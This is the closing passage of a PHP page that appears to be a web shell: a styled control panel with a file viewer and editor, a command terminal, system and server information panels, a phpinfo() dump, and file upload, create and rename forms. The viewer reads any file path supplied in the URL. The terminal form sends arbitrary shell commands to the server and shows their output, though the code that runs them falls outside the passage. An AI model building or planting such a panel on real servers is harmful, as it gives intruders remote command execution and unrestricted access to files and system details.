                            <div style="display: flex; gap: 10px; padding: 16px; background: #f5f5f5; border-top: 3px solid #000;">
                                <button type="submit" name="save_file" class="neo-btn neo-btn-success">
                                    <i class="fas fa-save"></i> Save
                                </button>
                                <a href="?action=files&dir=<?php echo urlencode($dir); ?>" class="neo-btn neo-btn-dark">
                                    Cancel
                                </a>
                            </div>
                        </form>
                    </div>

                <?php
                // ===========================================
                // VIEW TAB
                // ===========================================
                elseif ($action == 'view' && isset($_GET['file'])):
                    $file = $_GET['file'];
                    $content = file_exists($file) ? file_get_contents($file) : '';
                    $dir = isset($_GET['dir']) ? $_GET['dir'] : dirname($file);
                ?>
                    <div class="neo-box" style="padding: 0; overflow: hidden;">
                        <div style="background: #22c55e; border-bottom: 3px solid #000; padding: 14px 18px; display: flex; align-items: center; justify-content: space-between;">
                            <div style="display: flex; align-items: center; gap: 10px; color: #000;">
                                <i class="fas fa-eye"></i>
                                <span style="font-weight: 700;"><?php echo htmlspecialchars(basename($file)); ?></span>
                            </div>
                            <a href="?action=files&dir=<?php echo urlencode($dir); ?>" class="neo-btn neo-btn-sm" style="background: #fff; color: #000;">
                                <i class="fas fa-arrow-left"></i> Back
                            </a>
                        </div>
                        <pre style="background: #f5f5f5; padding: 20px; overflow: auto; max-height: 500px; font-family: 'JetBrains Mono', monospace; font-size: 13px; line-height: 1.5; margin: 0; border: none;"><?php echo htmlspecialchars($content); ?></pre>
                    </div>

                <?php
                // ===========================================
                // TERMINAL TAB
                // ===========================================
                elseif ($action == 'terminal'):
                ?>
                    <div class="terminal-box">
                        <div class="terminal-header">
                            <div class="terminal-title">
                                <i class="fas fa-terminal"></i> Terminal
                            </div>
                        </div>
                        <?php if (isset($cmd_output)): ?>
                            <div class="terminal-body"><span style="color: #fbbf24;">$ <?php echo htmlspecialchars(isset($_POST['cmd']) ? $_POST['cmd'] : ''); ?></span>

                                <?php echo htmlspecialchars($cmd_output); ?></div>
                        <?php else: ?>
                            <div class="terminal-body"># Terminal ready. Type command below and press Enter.</div>
                        <?php endif; ?>
                        <form method="post">
                            <div class="terminal-input-line">
                                <span class="terminal-prompt mono">$</span>
                                <input type="text" name="cmd" class="terminal-input" placeholder="Enter command..." autocomplete="off" autofocus>
                            </div>
                        </form>
                    </div>

                <?php
                // ===========================================
                // SYSINFO TAB
                // ===========================================
                elseif ($action == 'sysinfo'):
                ?>
                    <div class="info-grid">
                        <div class="info-card">
                            <div class="info-card-header">
                                <div class="info-icon blue"><i class="fas fa-server"></i></div>
                                <h3>System</h3>
                            </div>
                            <div class="info-row">
                                <label>OS</label>
                                <span><?php echo php_uname('s'); ?></span>
                            </div>
                            <div class="info-row">
                                <label>Hostname</label>
                                <span class="mono"><?php echo htmlspecialchars($hostname); ?></span>
                            </div>
                            <div class="info-row">
                                <label>Release</label>
                                <span class="mono"><?php echo php_uname('r'); ?></span>
                            </div>
                            <div class="info-row">
                                <label>Architecture</label>
                                <span><?php echo php_uname('m'); ?></span>
                            </div>
                        </div>

                        <div class="info-card">
                            <div class="info-card-header">
                                <div class="info-icon green"><i class="fas fa-globe"></i></div>
                                <h3>Web Server</h3>
                            </div>
                            <div class="info-row">
                                <label>Software</label>
                                <span style="font-size: 11px;"><?php echo htmlspecialchars($server_soft); ?></span>
                            </div>
                            <div class="info-row">
                                <label>Server IP</label>
                                <span class="mono"><?php echo htmlspecialchars(isset($_SERVER['SERVER_ADDR']) ? $_SERVER['SERVER_ADDR'] : 'N/A'); ?></span>
                            </div>
                            <div class="info-row">
                                <label>Port</label>
                                <span class="mono"><?php echo htmlspecialchars(isset($_SERVER['SERVER_PORT']) ? $_SERVER['SERVER_PORT'] : 'N/A'); ?></span>
                            </div>
                            <div class="info-row">
                                <label>Protocol</label>
                                <span><?php echo htmlspecialchars(isset($_SERVER['SERVER_PROTOCOL']) ? $_SERVER['SERVER_PROTOCOL'] : 'N/A'); ?></span>
                            </div>
                        </div>

                        <div class="info-card">
                            <div class="info-card-header">
                                <div class="info-icon yellow"><i class="fas fa-user"></i></div>
                                <h3>User Context</h3>
                            </div>
                            <div class="info-row">
                                <label>User</label>
                                <span><?php echo htmlspecialchars($current_user); ?></span>
                            </div>
                            <div class="info-row">
                                <label>Current Dir</label>
                                <span class="mono" style="font-size: 11px;"><?php echo htmlspecialchars($current_dir); ?></span>
                            </div>
                            <div class="info-row">
                                <label>Document Root</label>
                                <span class="mono" style="font-size: 11px;"><?php echo htmlspecialchars(isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : 'N/A'); ?></span>
                            </div>
                            <div class="info-row">
                                <label>Client IP</label>
                                <span class="mono"><?php echo htmlspecialchars(isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : 'N/A'); ?></span>
                            </div>
                        </div>

                        <div class="info-card">
                            <div class="info-card-header">
                                <div class="info-icon purple"><i class="fab fa-php"></i></div>
                                <h3>PHP Environment</h3>
                            </div>
                            <div class="info-row">
                                <label>Version</label>
                                <span class="mono"><?php echo $php_version; ?></span>
                            </div>
                            <div class="info-row">
                                <label>SAPI</label>
                                <span><?php echo php_sapi_name(); ?></span>
                            </div>
                            <div class="info-row">
                                <label>Memory Limit</label>
                                <span class="mono"><?php echo ini_get('memory_limit'); ?></span>
                            </div>
                            <div class="info-row">
                                <label>Max Upload</label>
                                <span class="mono"><?php echo ini_get('upload_max_filesize'); ?></span>
                            </div>
                        </div>
                    </div>

                <?php
                // ===========================================
                // PHPINFO TAB
                // ===========================================
                elseif ($action == 'phpinfo'):
                ?>
                    <div class="neo-box" style="padding: 0; overflow: hidden;">
                        <div style="background: #a855f7; border-bottom: 3px solid #000; padding: 14px 18px; display: flex; align-items: center; gap: 10px; color: #fff;">
                            <i class="fab fa-php"></i>
                            <span style="font-weight: 700;">PHP Information</span>
                        </div>
                        <div style="padding: 0; max-height: 600px; overflow: auto;">
                            <?php phpinfo(); ?>
                        </div>
                    </div>
                <?php endif; ?>
            </div>
        </main>
    </div>

    <!-- Upload Modal -->
    <div id="upload-modal" class="modal-overlay">
        <div class="modal">
            <div class="modal-header">
                <div class="modal-icon" style="background: #3b82f6; color: #fff;"><i class="fas fa-cloud-upload-alt"></i></div>
                <h3>Upload File</h3>
            </div>
            <form method="post" enctype="multipart/form-data">
                <input type="file" name="upload" class="neo-input" style="width: 100%; padding: 12px;">
                <div class="modal-footer">
                    <button type="button" onclick="closeModal('upload-modal')" class="neo-btn neo-btn-dark">Cancel</button>
                    <button type="submit" class="neo-btn neo-btn-primary">Upload</button>
                </div>
            </form>
        </div>
    </div>

    <!-- New Folder Modal -->
    <div id="mkdir-modal" class="modal-overlay">
        <div class="modal">
            <div class="modal-header">
                <div class="modal-icon" style="background: #fbbf24;"><i class="fas fa-folder-plus"></i></div>
                <h3>New Folder</h3>
            </div>
            <form method="post">
                <input type="text" name="dirname" placeholder="folder-name" class="neo-input" style="width: 100%;" required>
                <div class="modal-footer">
                    <button type="button" onclick="closeModal('mkdir-modal')" class="neo-btn neo-btn-dark">Cancel</button>
                    <button type="submit" name="mkdir" class="neo-btn neo-btn-warning">Create</button>
                </div>
            </form>
        </div>
    </div>

    <!-- New File Modal -->
    <div id="touch-modal" class="modal-overlay">
        <div class="modal">
            <div class="modal-header">
                <div class="modal-icon" style="background: #22c55e;"><i class="fas fa-file-plus"></i></div>
                <h3>New File</h3>
            </div>
            <form method="post">
                <input type="text" name="filename" placeholder="file.txt" class="neo-input" style="width: 100%;" required>
                <div class="modal-footer">
                    <button type="button" onclick="closeModal('touch-modal')" class="neo-btn neo-btn-dark">Cancel</button>
                    <button type="submit" name="create_file" class="neo-btn neo-btn-success">Create</button>
                </div>
            </form>
        </div>
    </div>

    <!-- Rename Modal -->
    <div id="rename-modal" class="modal-overlay">
        <div class="modal">
            <div class="modal-header">
                <div class="modal-icon" style="background: #fbbf24;"><i class="fas fa-pen"></i></div>
                <h3>Rename</h3>
            </div>
            <form method="post">
                <input type="hidden" name="oldname" id="rename-old">
                <input type="text" name="newname" id="rename-new" placeholder="New name" class="neo-input" style="width: 100%;" required>
                <div class="modal-footer">
                    <button type="button" onclick="closeModal('rename-modal')" class="neo-btn neo-btn-dark">Cancel</button>
                    <button type="submit" name="rename" class="neo-btn neo-btn-primary">Rename</button>
                </div>
            </form>
        </div>
    </div>

    <script>
        function openModal(id) {
            document.getElementById(id).classList.add('active');
        }

        function closeModal(id) {
            document.getElementById(id).classList.remove('active');
        }

        function renameFile(oldName) {
            document.getElementById('rename-old').value = oldName;
            document.getElementById('rename-new').value = oldName;
            openModal('rename-modal');
            setTimeout(() => {
                document.getElementById('rename-new').focus();
                document.getElementById('rename-new').select();
            }, 100);
        }

        document.addEventListener('keydown', function(e) {
            if (e.key === 'Escape') {
                document.querySelectorAll('.modal-overlay').forEach(m => m.classList.remove('active'));
            }
        });

        document.querySelectorAll('textarea').forEach(function(textarea) {
            textarea.addEventListener('keydown', function(e) {
                if (e.key === 'Tab') {
                    e.preventDefault();
                    var start = this.selectionStart;
                    this.value = this.value.substring(0, start) + '    ' + this.value.substring(this.selectionEnd);
                    this.selectionStart = this.selectionEnd = start + 4;
                }
            });
        });
    </script>
</body>

</html>